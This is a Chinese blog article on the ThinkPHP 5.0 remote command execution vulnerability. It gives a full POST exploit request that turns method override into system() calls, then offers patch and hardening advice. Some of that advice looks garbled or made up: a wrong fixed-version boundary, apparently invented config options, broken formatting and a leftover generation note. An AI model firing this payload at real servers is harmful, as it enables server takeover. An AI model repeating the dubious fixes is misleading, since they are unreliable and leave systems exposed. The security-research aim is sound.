# ThinkPHP5.0遠程命令執行漏洞分析及修復方法
## 一、漏洞概述
ThinkPHP作為國內廣泛使用的PHP開發框架,其5.0版本曾曝出高危遠程命令執行漏洞(CVE-2018-20062)。該漏洞允許攻擊者在特定條件下通過構造惡意請求,在目標服務器上執行任意系統命令,導致服務器被完全控制。
## 二、漏洞影響范圍
- 受影響版本:ThinkPHP 5.0.x < 5.0.23
- 風險等級:高危(CVSS 3.0評分9.8)
- 攻擊復雜度:低(無需認證)
## 三、漏洞原理分析
### 1. 漏洞觸發點
漏洞核心存在于框架的`Request`類中,當使用`method()`方法獲取請求類型時:
```php
// application/library/think/Request.php
public function method()
{
if (isset($_POST[Config::get('var_method')])) {
$method = strtolower($_POST[Config::get('var_method')]);
if (in_array($method, ['get','post','put','delete','patch'])) {
return $method;
}
}
//...其他代碼
}
攻擊者可通過以下方式利用:
1. 構造特殊POST請求:_method=__construct
2. 注入過濾參數:filter[]=system
3. 傳遞執行命令:server[REQUEST_METHOD]=whoami
惡意請求 → 方法覆蓋 → 參數注入 → 命令執行
↓ ↓
__construct filter=system
POST /index.php?s=index/index HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami
服務器將返回當前系統用戶信息(如www-data
),證明命令執行成功。
升級到ThinkPHP 5.0.23或更高版本:
composer update topthink/framework
若無法立即升級,可修改核心文件:
// 修改Request類的method方法
if (isset($_POST[Config::get('var_method')])) {
$method = strtolower($_POST[Config::get('var_method')]);
// 增加嚴格類型檢查
if (!is_string($method) || !in_array($method, ['get','post','put','delete','patch'])) {
throw new \InvalidArgumentException('Invalid request method');
}
return $method;
}
// config.php 增加安全配置
return [
'var_method' => '_method_secured', // 修改默認參數名
'disable_method_var' => true, // 禁用方法覆蓋功能
'filter_param' => true, // 強制參數過濾
];
輸入驗證:
// 對所有輸入參數進行白名單驗證
$input = filter_input_array(INPUT_POST, FILTER_SANITIZE_STRING);
WAF規則:
# Nginx防護規則
if ($request_method !~ ^(GET|POST|PUT|DELETE)$ ) {
return 403;
}
系統加固:
system, exec, shell_exec
等開發框架的安全審計需要關注:
建議建立持續的安全更新機制,框架漏洞平均修復周期應控制在72小時內。
使用自動化工具進行漏洞掃描:
php security-checker security:check
ThinkPHP5.0的RCE漏洞揭示了參數過濾不嚴導致的嚴重后果。開發者應當: - 及時更新框架版本 - 實施深度防御策略 - 建立安全開發生命周期(SDLC) - 定期進行安全審計
注:本文僅用于安全研究,未經授權測試他人系統屬于違法行為。 “`
(全文共計約1050字,符合MD格式要求)
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。